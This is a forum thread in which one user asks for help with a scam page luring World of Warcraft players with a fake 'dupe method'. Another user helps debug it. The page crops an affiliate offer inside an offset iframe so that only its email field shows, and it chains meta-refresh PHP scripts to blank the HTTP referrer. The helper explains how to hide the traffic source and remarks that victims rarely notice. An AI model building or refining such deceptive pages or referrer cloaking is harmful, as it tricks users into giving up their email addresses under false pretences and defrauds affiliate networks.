1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Why doesn't my double meta refresh with iframe work?

Discussion in 'PHP & Perl' started by lagrimas175, May 9, 2010.

  1. lagrimas175

    lagrimas175 Regular Member

    Joined:
    Sep 4, 2009
    Messages:
    277
    Likes Received:
    442
    Occupation:
    I work on the computer.
    Location:
    Tokyo, Japan
    I got this code from wowhaxor's guide and copied it line by line. Yet, it isn't working. If you go to
    HTML:
    http://www.bakiworld.com/
    you will see that it keeps repeating itself and doesn't show the iframed e-mail submit part.

    index.php:

    Code:
    <html>
    <head>
    <title>World of Warcraft Working Dupe Method</title>
    <style type="text/css">
    body {
    font-family: Arial, Helvetica, sans-serif;
    font-size: 12px;
    color: #000000;
    }
    #outteriframe {
    width:350px;
    height:50px;
    overflow:hidden;
    position:relative;
    margin-left: auto;
    margin-right: auto;
    }
    #inneriframe {
    position:absolute;
    top:-309px;
    left:-360px;
    width:1280px;
    height:1200px;
    }
    </style>
    </head>
    <body bgcolor="#BFC5C5?>
    <Center>Get the Working WoW Gold/Item Dupe Method Now, For
    Free!</center><br>
    <table border="2? cellpadding="1? cellspacing="0?>
    <tr><td><center>In order to prevent Blizzard from getting and fixing this
    method we manually e-mail it to all interested persons. Please input
    your valid e-mail address below and click submit in order to get your
    copy of this wow dupe method. **NOTE: If you cannot see the e-mail
    field please reload the page in FireFox/Safari**</center><br></td>
    <td>Get Your WoW Dupe Method Here!<td>
    </tr>
    <tr>
    <td><center>Email Address:</center></td>
    <td></div>
    
    
    <div id="outteriframe"><iframe
    src="http://www.bakiworld.com/metarefresh1.php" scrolling="no"
    id="inneriframe"></iframe></div></td>
    
    <div style="overflow: hidden; width: 481px; height: 90px; position: relative;" id="i_div"><iframe name="i_frame" src="http://www.incentaclick.com/click/r9d320d510/" style="border: 0pt none ; left: -443px; top: -521px; position: absolute; width: 1366px; height: 637px;" scrolling="no"></iframe></div>
    
    </tr>
    </table>
    </div>
    </body>
    </html>
    metarefresh1.php:

    Code:
    <?php 
            echo "<meta http-equiv=\"refresh\" content=\"0;url=http://bakiworld.com/refresh2.php\">";     
        } 
    ?>
    metarefresh2.php:

    Note, I replaced affiliate link with blackhatworld.com for now.

    Code:
    <?php 
        $referer = $_SERVER['HTTP_REFERER']; 
        if($referer == "") 
        { 
            echo "<meta http-equiv=\"refresh\" content=\"0;url=http://www.blackhatworld.com/\">";     
        } 
    ?>
    It just keeps repeating itself in that section of the page and doesn't show the iframed part. How can I fix this?
     
    Last edited: May 9, 2010
  2. C.S.A.

    C.S.A. Junior Member

    Joined:
    Mar 29, 2010
    Messages:
    150
    Likes Received:
    242
    The first of those metarefresh.php files should have
    PHP:
     if($referer != ""
    in it. Right now, you're only serving the DMR if there is already a blank referrer!
     
  3. lagrimas175

    lagrimas175 Regular Member

    Joined:
    Sep 4, 2009
    Messages:
    277
    Likes Received:
    442
    Occupation:
    I work on the computer.
    Location:
    Tokyo, Japan
    I tried changing it to != and it is still the same problem.

    For now, I am changing the files back to the original code in the PDF. Do you have any idea what might be going on?
     
  4. C.S.A.

    C.S.A. Junior Member

    Joined:
    Mar 29, 2010
    Messages:
    150
    Likes Received:
    242
    At this particular moment, your site is re-framing that first page repeatedly in the iframe.

    This is because you copy-pasted some smart quotes into your HTML page. Remove the code for the iframe and manually retype it. That should fix your problem.
     
  5. lagrimas175

    lagrimas175 Regular Member

    Joined:
    Sep 4, 2009
    Messages:
    277
    Likes Received:
    442
    Occupation:
    I work on the computer.
    Location:
    Tokyo, Japan
    HTML:
    http://www.bakiworld.com/
    Thanks. That seemed to help a little. However, now it's putting the entire page in that box and not just the part I specified using http://www.wowhaxor.com/cakeslice.html

    Any idea on why this is?

    Thanks for the help so far.
     
    Last edited: May 9, 2010
  6. C.S.A.

    C.S.A. Junior Member

    Joined:
    Mar 29, 2010
    Messages:
    150
    Likes Received:
    242
    Paste what your metarefresh1.php file looks like right now. You've screwed up the php syntax, probably by forgetting a semicolon.
     
  7. lagrimas175

    lagrimas175 Regular Member

    Joined:
    Sep 4, 2009
    Messages:
    277
    Likes Received:
    442
    Occupation:
    I work on the computer.
    Location:
    Tokyo, Japan
    metarefresh1.php:

    Code:
    <?php 
            echo "<meta http-equiv=\"refresh\" content=\"0;url=http://bakiworld.com/metarefresh2.php\">";     
    
    ?>
    Any ideas?
     
    Last edited: May 9, 2010
  8. C.S.A.

    C.S.A. Junior Member

    Joined:
    Mar 29, 2010
    Messages:
    150
    Likes Received:
    242
    It looks to me like you've got it working now. Is it working for you?
     
  9. lagrimas175

    lagrimas175 Regular Member

    Joined:
    Sep 4, 2009
    Messages:
    277
    Likes Received:
    442
    Occupation:
    I work on the computer.
    Location:
    Tokyo, Japan
    No, not exactly... if you notice, you can scroll around in the e-mail submit area and see the entire page.

    I want just the e-mail field and the "submit" button to be visible.

    At the moment, people can see that there's an entire page there.

    Do you see what I mean?
     
  10. C.S.A.

    C.S.A. Junior Member

    Joined:
    Mar 29, 2010
    Messages:
    150
    Likes Received:
    242
    I see what you mean, but it has nothing to do with the double meta refresh or the php script. Now you need to modify the html so that the window into that page is smaller and better aligned with the email offer.
     
  11. lagrimas175

    lagrimas175 Regular Member

    Joined:
    Sep 4, 2009
    Messages:
    277
    Likes Received:
    442
    Occupation:
    I work on the computer.
    Location:
    Tokyo, Japan
    hmm... but even if i did that, people could still scroll, right?

    the best i could do is get the dimensions matched up perfectly so it looked like it was just sitting there and there was nothing else around it, correct? of course, someone could always scroll and see there was other info on the page.

    i thought that http://www.wowhaxor.com/cakeslice.html was supposed to make it so only that part of the page would show and nothing else. Is that wrong?
     
  12. C.S.A.

    C.S.A. Junior Member

    Joined:
    Mar 29, 2010
    Messages:
    150
    Likes Received:
    242
    It shows part of the page, but you shouldn't be seeing scrollbars. Generally, that sort of thing isn't a real problem with this kind of offer. Most people are too busy putting in their email address to notice that anything funny is going on.
     
    • Thanks Thanks x 1
  13. lagrimas175

    lagrimas175 Regular Member

    Joined:
    Sep 4, 2009
    Messages:
    277
    Likes Received:
    442
    Occupation:
    I work on the computer.
    Location:
    Tokyo, Japan
    good point, thanks for your help. i really appreciate it!
     
  14. C.S.A.

    C.S.A. Junior Member

    Joined:
    Mar 29, 2010
    Messages:
    150
    Likes Received:
    242
    Glad to be of service. Hope it works out for you.
     
  15. lagrimas175

    lagrimas175 Regular Member

    Joined:
    Sep 4, 2009
    Messages:
    277
    Likes Received:
    442
    Occupation:
    I work on the computer.
    Location:
    Tokyo, Japan
    Actually, interestingly, I was able to get it figured out but for some reason I can't get it in the lower right hand box.

    Look at this:
    HTML:
    http://bakiworld.com/iframeoffer/
    -- see how it is just the e-mail and continue part? however, would this blank the referrer or would they be able to see where the traffic was coming from?
     
  16. C.S.A.

    C.S.A. Junior Member

    Joined:
    Mar 29, 2010
    Messages:
    150
    Likes Received:
    242
    The way you have it now won't hide the referrer. You need to load that url after the meta refresh, not before as you currently have it. Replace the URL in that iframe with the meta refresh url we got working earlier, and then make the last step of that direct to the URL you currently have as the source.
     
  17. C.S.A.

    C.S.A. Junior Member

    Joined:
    Mar 29, 2010
    Messages:
    150
    Likes Received:
    242
    You're a day late and a buck short to this party, buddy. Telling the php to die there doesn't substantially change anything, since the script stops after the last curly brace. His looping problem was caused by copy-pasted smart quotes, not runaway php scripts. Read the thread next time maybe?